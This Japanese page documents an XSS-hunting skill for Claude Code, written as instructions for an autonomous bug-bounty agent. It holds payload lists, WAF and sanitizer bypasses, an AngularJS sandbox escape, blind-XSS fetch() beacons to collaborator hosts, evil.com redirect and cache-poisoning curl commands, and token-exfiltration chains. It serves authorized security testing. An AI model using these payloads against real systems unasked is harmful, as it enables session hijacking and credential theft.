hunt-xss について
hunt-xssは、反射型・格納型・DOM型のクロスサイトスクリプティングを調べるセキュリティテスト用スキルです。実行の確認を重視し、エンコードや自然な反射による誤検出を区別します。
主な機能
- 01反射箇所とコンテキストの分類
- 02固有カナリアによる証拠確認
- 03格納型・ブラインドXSSの検証
- 04攻撃対象面の把握ガイド
- 05ペイロードとソース検索パターン
活用シーン
- 01反射入力の安全でない出力の確認
- 02共有コンテンツ内の格納ペイロードのテスト
- 03帯域外コールバックによるブラインドXSS検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-xssインストール後、Claude Code で/hunt-xssを入力して読み込まれたか確認します。
詳細
自律的なテストの優先事項
XSS を主張する前に、リフレクションを確認してください。エンコーディングがすべてです。
ペイロードは、山括弧がエスケープされずにレスポンスボディに現れる必要があります。<script> は XSS です。<script> は安全なエンコーディングであり、脆弱ではありません。
証明用ペイロードには、固有の数値カナリアを使用してください。例:<script>alert(91234)</script> または "><img src=x onerror=alert(91234)>。alert(1) ではなく、4 桁以上の目立つ数値を選んでください。練習用ページのヒントには、alert(1) や alert('XSS') などの例示用ペイロードがよく含まれています。固有の数値を使えば、自分のリフレクトされたペイロードと、ページ内のおとりの例を見分けられます。証明となるのは、alert(<canary>) が未エスケープの生の山括弧とともにレスポンスに現れることです。
次のコンテキストを順番に試してください:
-
インラインスクリプトインジェクション(HTML コンテキストで新しいタグが許可される場合に有効):
<script>alert(CANARY)</script>証明の要件で指定されているカナリア文字列を使用してください。
<script>alert(CANARY)が(HTML エンコードされずに)レスポンスにそのまま現れたら確認済みです。 -
属性イベントインジェクション(
<がフィルターされているが、属性にはインジェクションできる場合):" onmouseover="alert(CANARY) " onerror="alert(CANARY) " onload="alert(CANARY) -
URL/href コンテキスト:
javascript:alert(CANARY)
成功と失敗の見分け方:
- 脆弱: レスポンスに
<script>alert(がエスケープされずに含まれている。ブラウザーで実行されます。 - フィルター済み/安全: レスポンスに
<script>または<script>が含まれている。適切にエンコードされています。 - ブロック済み: レスポンスがエラーであるか、リフレクトされた値がまったく含まれていません。
保存型 XSS の場合: コメント、ユーザー名、チケットのタイトルなど、ほかのページで表示されるフィールドにインジェクションしてください。次に、その内容が表示されるページを取得し、ペイロードがエスケープされずに出力されるか確認してください。誰かがそのページを表示するたびにペイロードが実行されるため、リフレクト型より重大度が高くなります。
最重要ターゲット
XSS は、特権コンテキスト+永続的な配信+影響範囲の拡大が組み合わさると価値が高くなります。最も高額な報奨金が得られるのは、次のようなケースです。
- 管理パネルや認証済みダッシュボード(例:
*/admin、*/settings)— 攻撃者は、昇格された権限でセッションを乗っ取ったり、トークンを窃取したり、アカウント乗っ取りへと攻撃を展開したりできます。 - 決済/金融関連のフロー(
paypal.com、チェックアウトページ、通貨換算ツール)— このような場所での XSS は、大規模な認証情報の窃取や金融詐欺につながります。 - コラボレーション機能における保存型 XSS(Wiki、Markdown レンダラー、課題トラッカー、RDoc、ラベル、タグ)— 1 つのペイロードで閲覧者全員に感染させ、影響を拡大できます。
- SSO/サインインページ(例:
paypal.com/signin)— プラットフォーム全体の認証トークンを窃取できるため、ここでの XSS は重大です。 - 共有 SaaS テナントの領域(
*.myshopify.com、api.collabs.*)— あるテナントのコンテキストにおける XSS が、テナント間の境界を越えて影響する可能性があります。 - ヘルプ/ドキュメントサイト(
help.shopify.com)— 個別の重大度は低めですが、サニタイズが緩く、ユーザーから信頼されやすい場合がよくあります。 - SVG/ファイルアップロードのエンドポイント — CSP とサニタイズの両方を同時に回避できるケースがよくあります。
報奨金が最も高いアセットの種類: メインの製品ドメイン > 管理用サブドメイン > API エンドポイント > マーケティング/ヘルプサイト
OOB 確認必須のゲート(ブラインド/保存型 XSS)
ブラインド XSS および保存型 XSS を主張するには、ブラインド SSRF と同様に、アウトオブバンドでの確認が必要です。ペイロードがブラウザー上で実際に実行されたとき、OOB 受信側が反応します(ログを確認する管理者、チケットを開く SOC アナリスト、保存されたペイロードを表示するメールなど)。
確認にならないもの
- ASP.NET のリクエストバリデーターが
<を拒否し、異なるステータスコードを返した → XSS ではなく、WAF によるノイズです。 - ペイロードが URL エンコードまたは HTML エンコードされた状態でレスポンスボディに現れた → XSS ではなく、適切な出力エンコーディングです。
- フォームの action 属性に
%22onclick%3D…のようなペイロード文字列が含まれている → XSS ではありません。ブラウザーは HTML 属性値内の URL エンコーディングをデコードしないため、DOM 内でも%22は文字どおり%22のままです。 <script>タグがレスポンス内に<script>として現れた → XSS ではなく、エスケープされています。
確認できること
- ペイロードが保存/反射/キュー登録された後、固有の Collaborator サブドメイン(例:
bxss-err-<random>.<collab>.oastify.com)へのリクエストが OOB リスナーに届きます。 - 保存型 XSS の場合、管理者が影響を受けたリソースを表示したときに、数時間後または数日後にリクエストが届きます。エンゲージメントの早い段階でペイロードを仕込み、リスナーを起動したままにしてください。
- 発火したリクエストの User-Agent はブラウザー(Mozilla/Chrome)であり、サーバー自体のバックエンド HTTP クライアントではありません。
ブラインド XSS のビーコンを仕込む場所
値が後で管理 UI/ログビューアー/メール/レポートに表示される可能性のあるフィールド:
- エラーメッセージ(
?ErrorMessage=<svg onload=fetch('//bxss-<tag>.<collab>/x')>) - 認証フローのソースパラメーター(
?Source=、?ReturnUrl=) - ログインフォームのユーザー名フィールド(管理者がログイン失敗の監査ログを確認する場合があります)
- User-Agent ヘッダー(SOC コンソールによっては UA が HTML として描画されます)
- Referer ヘッダー(分析ダッシュボードによっては Referer が HTML として描画されます)
- 登録フォーム/お問い合わせフォームのメールアドレス
- ファイルアップロード時のファイル名
どのフィールドが発火したかをコールバックから特定できるよう、Collaborator サブドメインには必ずシンクごとのサブタグを付けてください。
ある正規のエンゲージメントから得られた教訓: ErrorMessage、Source、Authentication.asmx のユーザー名フィールド、User-Agent ヘッダー、Referer ヘッダー、リクエストパスに、ブラインド XSS の Collaborator ビーコンを 10 個仕込みました。10 分間のポーリングではコールバックはゼロでした。結論:SharePoint の SOC は HTML を描画しないツールでログ/エラーを確認しており、さらに ASP.NET のリクエストバリデーターが、ペイロードが保存される前にクエリ文字列内の < をブロックしています。保存型 XSS との主張は正しく撤回されました。
攻撃対象領域のシグナル
URL パターン:
/admin*
/settings*
/wiki*
/reports*
?utm_source=
?redirect=
?q=
?search=
?callback=
?return_url=
/render*
/preview*
/documentation*
レスポンスヘッダー(防御が弱いことを示すシグナル):
Content-Type: text/html (without nosniff)
Content-Security-Policy: (absent or using unsafe-inline)
Content-Type: image/svg+xml (CSP often not applied)
X-XSS-Protection: 0
DOM XSS を示すソース内の JS パターン:
document.write(
innerHTML =
location.hash
location.search
location.href
document.referrer
eval(
setTimeout(string,
setInterval(string,
$.html(
$(location
技術スタックのシグナル:
html_safe、raw、translate、Action Text、または ActionView のサニタイズヘルパーを使用する Rails アプリケーション- GitLab/GitHub の Markdown パイプライン(Banzai、Kramdown、RDoc、Kroki)
- SVG のアップロードまたは描画を許可するアプリケーション
- 許可リストで
styleタグを使用するサイト - Kroki/Mermaid/PlantUML の図表描画エンドポイント
- 認証済みページの前段にあるキャッシュレイヤー(キャッシュポイズニングの攻撃ベクトル)
ステップごとのハンティング手法
-
すべてのリフレクションポイントを特定する — 対象をクロールし、ユーザー入力が HTML 出力に現れる場所をすべて洗い出します。優先して確認する項目:URL パラメーター、フォームフィールド、HTTP ヘッダー(User-Agent、Referer)、ファイルアップロードの名前/内容、UI に表示される API レスポンスのフィールド。
-
種類ごとに分類する — 各リフレクションが Reflected(URL パラメーター → レスポンス)、Stored(データベース → 後続の表示)、DOM-based(JS が URL/ストレージを読み取る → DOM シンク)のどれかを判断します。それぞれ、異なるペイロードの送信方法が必要です。
-
サニタイザーの挙動を調べる — まず無害なカナリア文字列を送信します:
aaa"bbb'ccc<ddd。どの文字がエスケープされるかを確認します。出力が HTML コンテキスト、属性コンテキスト、JS コンテキスト、URL コンテキストのどれにあるかを観察します。マーカーの使用規律: カナリア文字列には、必ず一意のランダムな英数字文字列(8 文字以上、英単語なし、プロトコルキーワードなし)を使用してください。悪いマーカー:
test、marker、evil、attacker、payload、javascript、script。良いマーカー:cpmark987abc、x4hd2k9pq、__ZZ_MARKER_<random>_ZZ__。リフレクションを報告する前に、マーカーを付けないベースラインのレスポンスでマーカーを検索してください。ページ内に自然に現れる場合(例:すべてのページのヘルプリンクの href にjavascriptという単語が含まれている場合)、誤検知の罠なので、別のマーカーを使う必要があります。この確認だけで、誤検知によるリフレクション報告の 80% を検出できます。 -
許可リストに登録されたタグの組み合わせをテストする — サニタイザーが使われている場合は、危険なタグの組み合わせを調べます:
<math>+<style>、<svg>+<style>、<iframe srcdoc>、式を含む<style>。 -
SVG とファイルアップロードのベクトルを調査する —
<script>タグを含む SVG ファイルをアップロードします。Content-Type レスポンスヘッダーを確認します。SVG レスポンスに CSP が個別に適用されるかをテストします。 -
Markdown/ドキュメントのレンダラーをテストする — Wiki、README、ドキュメントのフィールドで、次を試します:
[text](javascript:alert(1))、インライン HTML インジェクション、Kroki/Mermaid のペイロード、RDoc のlink:javascript:構文。 -
リダイレクトパラメーターを確認する —
?redirect=javascript:alert(1)と?return_url=//evil.comをテストし、不適切なリダイレクトサニタイズによるワンクリック XSS がないか確認します。 -
UTM と分析用パラメーターを調べる —
utm_source、utm_medium、utm_campaignは、マーケティングページでサニタイズされずにリフレクションされることがよくあります。 -
CSP のバイパス機会をテストする — CSP が設定されている場合は、許可されたドメイン上の JSONP エンドポイント、style-src の
unsafe-inline、script-src を回避する SVG、許可リストに登録された CDN 上のスクリプトガジェットを探します。 -
プロフィール/メタデータフィールドで Stored XSS を試す — ユーザー名、自己紹介、タグ名、ラベルの色、組織名は、さまざまなコンテキストで表示され、検証が弱いこともよくあります。
-
キャッシュポイズニングを確認する — リフレクトされた XSS ペイロードがキャッシュされ、他のユーザーにも配信されるか(特に CDN を経由するページ)をテストします。これにより、リフレクト型 XSS が Stored XSS 相当になります。
-
対象ブラウザーで検証する — 報告する前に、必ず実際のブラウザーで動作を確認します。多くのペイロードは Burp ではエコーバックされますが、CSP、出力エンコーディング、フレームワークの自動エスケープ、コンテキストの不一致、WAF の正規化、ブラウザーの HTML 解析の違いにより、実際のブラウザーでは実行されません。(注:Chrome の XSS Auditor は Chrome 78/2019 年 10 月に削除されており、搭載されているブラウザーはありません。PoC の失敗を「XSS Auditor」のせいにしてはいけません。)
ペイロードと検出パターン
基本的なコンテキスト調査:
aaa"bbb'ccc<ddd>eee`fff
Reflected XSS — URL パラメーターのベースライン:
?q=<script>alert(document.domain)</script>
?q="><script>alert(1)</script>
?utm_source=<svg onload=alert(1)>
?redirect=javascript:alert(document.domain)
属性コンテキストからの脱出:
" onmouseover="alert(1)
' onmouseover='alert(1)
`onmouseover=alert(1)
SVG ベース(CSP バイパス):
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
サニタイザーのバイパス — math+style の組み合わせ:
<math><style><img src=x onerror=alert(1)></style></math>
サニタイザーのバイパス — svg+style の組み合わせ:
<svg><style><img src=x onerror=alert(1)></style></svg>
Markdown/RDoc の javascript: リンク:
[Click me](javascript:alert(document.domain))
Kroki/図表のインジェクション:
```kroki
plantuml
@startuml
:<script>alert(1)</script>;
@enduml
**DOM XSS via hash/search:**
```javascript
// In browser console to test sink
location.hash = '#"><img src=x onerror=alert(1)>'
location.href = 'https://target.com/page#<script>alert(1)</script>'
ソースレビュー用 grep パターン:
# Find dangerous sinks in JS
grep -rn "innerHTML\|document\.write\|eval(\|setTimeout(\|location\.hash\|location\.search" --include="*.js"
# Find unsafe Rails helpers
grep -rn "html_safe\|raw(\|sanitize\|translate" --include="*.erb" --include="*.rb"
# Find reflected params in responses
grep -i "utm_source\|utm_medium\|redirect\|return_url\|callback\|next" --include="*.html" -r
リフレクション検出用 Curl:
curl -sk "https://target.com/search?q=XSSCANARY" | grep -i "XSSCANARY"
curl -sk "https://target.com/page?utm_source=XSSCANARY" | grep -i "XSSCANARY"
キャッシュポイズニングのテスト:
# Send payload then fetch with clean session to see if cached
curl -sk "https://target.com/page?param=<script>alert(1)</script>" -H "X-Forwarded-Host: evil.com"
curl -sk "https://target.com/page" | grep -i "evil.com"
共通する根本原因
-
Rails で
html_safeを信頼する — 開発者が部分的なサニタイズ後に文字列を安全としてマークしたり、十分にサニタイズせずにユーザー提供データへ.html_safeを連結したりします。 -
危険なタグの組み合わせを許可する許可リスト方式のサニタイザー —
styleとmathまたはsvgを併せて許可すると、個々のタグが無害に見えても mXSS(mutation XSS)の機会が生まれます。 -
サードパーティのレンダリングパイプライン — Markdown から HTML への変換パイプライン(Banzai、Kramdown、Kroki)では、ダイアグラムやレンダリングエンジンがサンドボックス化されておらず、出力が再サニタイズされない場合に XSS が発生します。
-
URL パラメーターをエンコードせずに反映する — UTM パラメーター、リダイレクト URL、検索語句が、適切に HTML エンコードされずにページの HTML や JS に反映されます。特に、セキュリティレベルが低いものとして扱われるマーケティングページやヘルプページで発生します。
-
SVG をスクリプトを含まないコンテンツとして扱う — 開発者は HTML レスポンスには CSP を適用しても、
image/svg+xmlレスポンスが JavaScript を実行でき、同じ CSP ヘッダーの対象外となることが多い点を見落とします。 -
不完全なサニタイザーのパッチ — CVE 対応済みのサニタイザーも、わずかな違いで回避されます(例:CVE-2022-32209 の不完全な修正は、サニタイザーのロジックを正しく実装する難しさと、回避手法が連鎖する可能性を示しています)。
-
href/src で
javascript:スキームをブロックしない — リンクレンダラー(RDoc、Markdown)が href 属性内のjavascript:URL をブロックできず、有効な外部リンクとして扱います。 -
キャッシュ層に認証済みユーザーの入力が保存される — CDN やリバースプロキシのキャッシュが、ユーザー制御の XSS ペイロードを含むレスポンスを保存し、その後の未認証ユーザーに配信します。
-
Content-Type を強制せずにファイルをアップロードする — SVG ファイルや HTML ファイルを受け入れ、
Content-Disposition: attachmentを強制したり Content-Type を上書きしたりせずに配信します。 -
翻訳ヘルパーによる XSS — Rails の
translate/t()ヘルパーは翻訳文字列を HTML セーフとしてマークし、ユーザー入力を補間するため、ロケールキーを介したインジェクションが可能になります。
バイパス手法
CSP のバイパス:
- SVG のアップロードは
script-srcをバイパスします。image/svg+xmlのレスポンスは、ページの CSP を継承しない場合があるためです - 許可リストに登録されたドメイン(
*.googleapis.com、*.cloudflare.com)上の JSONP エンドポイントを探します <base>タグのインジェクションを使って、スクリプトの読み込み元をリダイレクトしますstyle-srcのunsafe-evalまたはunsafe-inlineを悪用して、CSS ベースの攻撃を実行します<link rel=preload>または<meta http-equiv>のガジェットを使い、厳格なポリシーをバイパスします
サニタイザーのバイパス:
- mXSS(Mutation XSS): サニタイザーによる解析時には安全でも、ブラウザーで再解析される際に変化する HTML をインジェクションします(例:
<math><style><img onerror=...>) - タグの組み合わせ攻撃:
<svg>+<style>や<math>+<style>によって、解析のあいまいさを作り出します - 属性の引用符のバリエーション:
onmouseover=alert(1)のように引用符を使わない形式や、バッククォートの区切り文字を使います - HTML エンティティのエンコード: href の値に
javascript:またはjavascript:を指定します - プロトコルのバリエーション:
javascript:、vbscript:、data:text/html
フィルターの回避:
<ScRiPt>alert(1)</ScRiPt>
<scr\x00ipt>alert(1)</scr\x00ipt>
<svg/onload=alert(1)>
<body onpageshow=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
WAF のバイパス:
// Obfuscated payloads
<svg onload=eval(atob('YWxlcnQoMSk='))>
// String splitting
<script>ale\u0072t(1)</script>
// HTML5 event handlers that WAFs miss
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
リダイレクトベースの XSS バイパス:
?next=javascript://%0aalert(1)
?next=javascript:alert(1)
?redirect=//evil.com/%0d%0a%0d%0a<script>alert(1)</script>
AngularJS のクライアントサイドテンプレートインジェクション(CSTI)とサンドボックスのエスケープ:
- 検出: ページで AngularJS が使われているか確認します(
ng-app/ng-controller属性、angular.js/angular.min.js、または{{ }}の補間を探します)。反射されるパラメーターに{{7*7}}を指定して調べます。文字列そのものではなく49と表示される場合、その値は Angular 式として評価されています。式が実際に評価されるよう、必ずbrowserツールを動作させてください。 - サンドボックスをエスケープして JS を実行する(手法は AngularJS のバージョンによって異なります):
- 一般的な方法:
{{constructor.constructor('alert(1)')()}}または{{$eval.constructor('alert(1)')()}}。 - 難しいパターン —
$evalが使えず、文字列リテラルも許可されない場合:String.prototype.charAtを上書きします(これにより、サンドボックスの文字単位の文字列チェックが無効になります)。次にorderByフィルターとString.fromCharCodeを使い、引用符を一切使わずに JS を組み立てます。ペイロードの構造(プレースホルダーは自分で埋めてください):?PARAM=1&toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(CODES)=1PARAM= 見つけた反射パラメーター。CODES= 実行したい JavaScript の文字コードをコンマ区切りで指定したものです。自分で計算してください(例:x=alert(1)をエンコードするには、各文字をその文字コードに変換します)。toString()は引用符なしの文字列を生成し、[].joinはcharAtを置き換え、orderByはフィルターを呼び出し、fromCharCode(CODES)は文字コードからペイロードを再構築します。
- 一般的な方法:
- 適用対象は レガシーの AngularJS(<1.6)のみです。最新のフレームワーク(Angular 2+、React、Vue)には影響しません。
Gate 0 の検証
レポートを作成する前に、次の3つすべてに回答してください。
-
攻撃者は現時点で何ができますか? 攻撃者は、標的ドメイン上で被害者のブラウザーセッション内における JavaScript の実行、セッション Cookie/トークンの窃取、被害者になりすました操作、または機密データの外部送信など、具体的なアクションを示す必要があります。「アラートボックスが表示される」だけでは不十分です。アクセスの観点から、アラートボックスが何を意味するのかを述べてください(例:「すべての管理者 API 呼び出しに使われる認証トークンを含む
document.cookieを読み取れます」)。 -
被害者は何を失いますか? 被害者には、現実の損失が必要です。具体的には、セッションの制御権(アカウントの乗っ取り)、機密データ(Cookie、CSRF トークン、PII)、金銭(同意のない金融取引)、または信頼(DOM 操作による認証情報のフィッシング)です。被害者がセッションを持たない公開ページの未認証ユーザーである場合は、そのユーザーのブラウザーがさらされるリスクを定量的に説明してください。
-
ゼロから10分以内に再現できますか? 事前のセットアップなしに、レビュー担当者が従える自己完結型の PoC URL または手順が必要です。特別な設定なしに、最新のブラウザー(Chrome/Firefox)でペイロードが実行されなければなりません。古いブラウザーでしか動作しない場合や、被害者が特定の拡張機能をインストールしている必要がある場合は、受け入れられない可能性が高いです。
実際の影響例
シナリオ 1 — サインインページでのキャッシュポイズニングを介した格納型 XSS 攻撃者は、大手決済プラットフォームのサインインページがユーザー制御の入力を反映し、CDN レイヤーでキャッシュされていることを発見しました。キャッシュを汚染する細工したリクエストを送信し、攻撃者は反射型 XSS を、ログインページを訪れるすべてのユーザーに対して実行される、格納型と同等のものに変えました。影響:大規模な認証情報の収集です。サインインページを訪れたすべてのユーザーの認証情報が取得されます。CSP を回避していたため、修正にはコードの修正とキャッシュのパージの両方が必要でした。
シナリオ 2 — Wiki の図表レンダリングを介した格納型 XSS ある開発者向けプラットフォームの Wiki 機能は、サードパーティの図表レンダリングサービス(Kroki)を統合していました。攻撃者は、レンダリング時に Wiki ページを閲覧するすべてのユーザーのコンテキストで任意の JavaScript を実行する、悪意のある図表ペイロードを作成しました。Wiki は、プロジェクトオーナーや管理者を含むチームメンバー間で共有されるため、このペイロードは OAuth トークンを密かに窃取し、すべての閲覧者に代わって管理者操作を実行できます。単一の格納型ペイロードから、事実上組織レベルのアカウント乗っ取りを実現できます。
シナリオ 3 — CSP 回避を伴うラベルの色フィールドを介したサニタイザーの回避
あるプロジェクト管理プラットフォームは、ラベルの色フィールドにある XSS 脆弱性にパッチを適用しましたが、修正は不完全でした。ある研究者は、style タグの許可リストと特定のタグのネスト(svg>style)を組み合わせることで、ブラウザーによる解析時にサニタイザーの出力が変化し、注入された JavaScript が実行されることを発見しました。また、インラインスタイルが許可リストに含まれているコンテキストで注入が行われるため、ペイロードはプラットフォームの Content Security Policy も回避しました。影響:ラベル作成権限を持つすべてのユーザー(多くの場合、プロジェクトメンバー全員)が、プロジェクトを訪れるすべてのユーザーに対して実行される永続的な XSS を注入でき、同じプロジェクトの名前空間内でユーザー間のセッション窃取が可能になります。
チェーンと組み合わせ(シニアハンティング)
成熟したプログラムでは、単独の発見としての XSS は低〜中程度の報奨金となります。高額な報奨金は、JS の実行をアカウント乗っ取り、大規模な被害、CSP の回避、トークンの窃取へとつなげるチェーンに集中します。組み合わせのスキルとは、*「XSS を実行した後、何を可能にできるか」*を見極めることであり、その答えは必ず alert(1) を超えるものです。
チェーン 1 — 反射型 XSS + キャッシュポイズニング → CDN 規模の永続的な格納型 XSS(Kettle クラス)
- A. 脆弱な入力がレスポンス本文に反映され、レスポンスがキャッシュ可能な(
Cache-Control: public, max-age=…)反射型 XSS を特定します。 - B. キャッシュされる本文に影響を与える、キャッシュキーに含まれない入力を特定します。一般的には
X-Forwarded-Host、X-Original-URL、キャッシュキーに含まれない Cookie、またはキャッシュキーから除外されながら本文には反映されるパラメーターです。 - C. キャッシュキーに含まれない入力を介して XSS ペイロードを含むリクエストを 1 件送信します。キャッシュに汚染されたレスポンスが保存されます。その後、CDN エッジを訪れるすべてのユーザーが、TTL の全期間にわたってこのレスポンスを受け取ります。
- 影響: 自己誘発型の反射型 XSS が、影響を受ける地域のすべての訪問者に影響する永続的な格納型 XSS になります。被害者ごとの操作は不要です。
- 実例: キャッシュポイズニングを介した Glassdoor の反射型から格納型への XSS、H1 #1424094(2021-2022);Kettle の「Practical Web Cache Poisoning」研究。
hunt-cache-poison開示済みレポート引用 #4 を参照。
チェーン 2 — セルフ XSS + CSRF によるトリガー → 実質的な保存型 XSS → ATO
- A. プロフィール欄(
bio、display_name、signature)でセルフ XSS を確認します。ペイロードは、同じログイン中のユーザーが自分のプロフィールを表示したときにのみ実行されます。 - B. その欄を変更する、CSRF に脆弱なエンドポイントを見つけます(CSRF 対策トークンがない、または
text/plainの enctype を利用したバイパスが可能)。 - C.
bioに XSS ペイロードを設定する CSRF フォームを送信する、攻撃者がホストするページを作成します。被害者が攻撃者のページにアクセスすると、CSRF が発動し、被害者のプロフィールが更新されます。その後、被害者が自分のプロフィールを表示すると、攻撃者の JS が実行されます。 - 影響:「割に合わない」セルフ XSS が ATO につながります。ペイロードは被害者の認証済みセッションで実行されます。Cookie の窃取、XHR によるメールアドレスの強制変更、パスワードリセットなどにより、完全な ATO が可能です。
- 実際の事例: 2019~2023 年に複数のソーシャルプラットフォームで H1 の開示事例があります。
hunt-csrfのステップ 7(プロフィール変更に対するフォームベースの CSRF)も参照してください。
チェーン 3 — /signin または /oauth コールバックの DOM XSS → フラグメント内トークンの窃取 → ATO
- A.
/signin、/oauth/callback、または/auth/returnページで DOM XSS を見つけます。一般に、document.location.hashをエスケープせずに DOM に解析します。 - B. OAuth のインプリシットフローでは、コールバック URL のフラグメント(
#access_token=...)にトークンが含まれることがよくあります。フラグメントはサーバーには送信されず、ブラウザーだけが参照できます。 - C. XSS ペイロードで
document.location.hashを読み取り、Base64 エンコードして、Image()を使って攻撃者のドメインに外部送信します。これにより、攻撃者は OAuth アクセストークンを取得します。 - 影響: プラットフォームをまたいだ ATO。アクセストークンにより通常、Facebook/Google/Microsoft のユーザーデータに対する API スコープが付与されます。実装によっては、トークンがそのままセッションとして使用されます。
- 実際の事例: Detectify の「Dirty Dancing」による複数ベンダーの OAuth トークン漏えい(F. Rosén、2022 年)、Zoom の OAuth を連鎖させた ATO、15,000 ドル(H1/Harel Security、2024 年)。
hunt-oauthの開示レポート引用 #19 および #20 も参照してください。
チェーン 4 — SVG アップロード XSS + CSP バイパス → 信頼されたオリジンでの JS 実行 → Cookie/トークン窃取
- A.
image/svg+xmlを受け付けるファイルアップロード機能を特定します。SVG ファイルは XML であり、<script>タグを含めることができます。多くのサニタイザーは PNG/JPG を処理しますが、SVG はそのまま通します。 - B. CSP は HTML レスポンスには適用されても、
image/svg+xmlのレスポンスには適用されないことがよくあります。SVG を配信するオリジンのコンテキストで JS が実行されます。 - C. SVG が同一オリジンで配信される場合(アップロードファイルが
target.com/uploads/<sha>.svgに置かれるケースなど)、実行される JS はセッション Cookie に完全にアクセスでき、同一オリジンの任意の API を呼び出せます。 - 影響: リフレクテッド/保存型コンテンツのベクトルを使わずに、信頼されたオリジン上で保存型 XSS が成立します。CSP を完全にバイパスし、セッション Cookie を窃取してパスワード変更エンドポイントを呼び出し、ATO を実行できます。
- 実際の事例: SaaS のアップロード機能で複数の開示事例があります。
hunt-file-uploadの SVG セクション、およびhunt-xxeの開示レポート引用 #3 および #4(Zivver/Lab45 の SVG アップロードを使ったチェーン)も参照してください。
チェーン 5 — postMessage XSS +オリジンチェックのバイパス → クロスオリジンでのトークン外部送信 → ATO
- A.
handlerがevent.originをチェックしない(またはindexOf/endsWithを使ってチェックするため、target.com.attacker.comを許可してしまう)window.addEventListener('message', handler)を特定します。 - B. 攻撃者のページから
target.comをポップアップまたは iframe で開きます。読み込み後、ハンドラーが eval する、XSS として処理する、またはdocument.cookieの窃取に使用するpostMessageペイロードを送信します。 - C. ハンドラーは
target.comのコンテキストで実行されます。レスポンスはevent.source.postMessage(stolenData, '*')を通じて、攻撃者のページにpostMessageされます。 - 影響: CSP 違反なしに、クロスオリジンの JS 実行と外部送信が成立します。
postMessageは正当なクロスオリジン通信経路であり、CSP では制限されません。トークン窃取/セッションハイジャックにつながります。 - 実際の事例: Detectify の「Dirty Dancing」による複数ベンダーの postMessage ガジェット(2022 年)、Zoom の OAuth と postMessage を連鎖させた事例(2024 年)。
hunt-oauthの開示レポート引用 #19、#20 も参照してください。
チェーン 6 — Markdown/Wiki XSS + 特権ビューア → 権限をまたぐ格納型 XSS
- A. 共同編集コンテンツのフィールド(Wiki ページ、課題のコメント、顧客チケット、サポートへの返信)における格納型 XSS —
<style>、<math>、<svg>、または属性フィルターの許可リストが不十分なため、Markdown のレンダリング後もペイロードが残ります。 - B. その共同編集コンテンツを、特権ユーザー(管理者、昇格した権限を持つサポートエージェント、プロジェクトのメンテナー)が閲覧します。
- C. 特権ユーザーのセッションで、認証済みコンテキスト内にてペイロードが実行されます — 管理者専用エンドポイントへの XHR、攻撃者のロール変更、管理者専用パネルからの秘密情報の流出などが発生します。
- 影響: 格納型 XSS を介した低権限ユーザーから管理者への権限昇格 — 特権ユーザーに代わって攻撃者が自分自身の権限を昇格させます。
- 実際のパターン: GitLab/Jira/Confluence における、Markdown XSS から管理者権限の昇格に至るクラスの脆弱性です。一般的な報奨金のパターンは High(単独の格納型 XSS に対する深刻度の引き上げによる権限昇格)です。
オペレーター向けのパターン
A で XSS を確認したら、ただちに次の点を確認してください。この JavaScript がアクセスできる、状態を変更するエンドポイントやトークンの保存先は何か? ペイロードはどこで実行され、誰が目にするのか? チェーンによる報奨金は、単独の XSS に対する報奨金の 5〜20 倍です。提出前のルール:終端の影響(ATO/トークン流出/権限昇格)を実証せずに、XSS を「Critical」として報告しないでください。それ以外の場合は Medium として報告してください。
相互参照:
hunt-cache-poison— チェーン 1hunt-csrf— チェーン 2hunt-oauth— チェーン 3、5hunt-file-upload/hunt-xxe— チェーン 4hunt-ato— チェーン 2、3、4、5 の終端の影響
関連スキルとチェーン
hunt-cache-poison— 脆弱なパラメーターがキャッシュキーに含まれない場合、反射型 XSS は CDN 全体で格納型 XSS と同等になります。チェーンのプリミティブ:X-Forwarded-Host: attacker.comにより、<script src=...>が attacker.com を指すようになるキャッシュ応答を汚染 → すべての CDN エッジの訪問者が、個別の被害者操作なしに攻撃者の JavaScript を実行します。hunt-csrf— オリジン上の XSS は、状態変更エンドポイントに対する SameSite=Lax と同一オリジンチェックを自動的に無効化します。チェーンのプリミティブ:プロフィールの自己紹介欄に格納された XSS →fetch(/settings/email, {method:'POST', body:'email=attacker@evil'})が被害者の Cookie とオリジンで実行 → 気付かれないままメールアドレスを乗っ取る → パスワードをリセット → 被害者がページを離れることなく完全な ATO に至ります。hunt-http-smuggling— スマグリングにより、独自の入力をサニタイズするエンドポイントであっても、XSS ペイロードが次の被害者のリクエストの応答キューに送り込まれます。チェーンのプリミティブ:攻撃者の HTML を含む応答を、次にアクセスした正規ユーザーの GET / の本文として返すリクエストをスマグリング → アドレスバーに URL パラメーターが表示されないまま、すべての訪問者に反射型 XSS が発生します。security-arsenal— ペイロードを手作りする前に、XSS ペイロードバンク(SVG+style、math+style の mXSS、CSP バイパス用 JSONP ガジェット、WAF が見逃す HTML5 イベントハンドラー)を確認してください。また、常に却下される項目の一覧で、セルフ XSS/alert のみの PoC が提出対象外であることも確認してください。triage-validation— 攻撃者自身のセッションでしか発火しない格納型 XSS を Critical と主張する前、またはレスポンス本文でカナリアが HTML エンコード(<)されている反射型 XSS を Critical と主張する前に、Pre-Severity Gate を実行してください。これらは、N/A への格下げにつながる最もよくある 2 つの落とし穴です。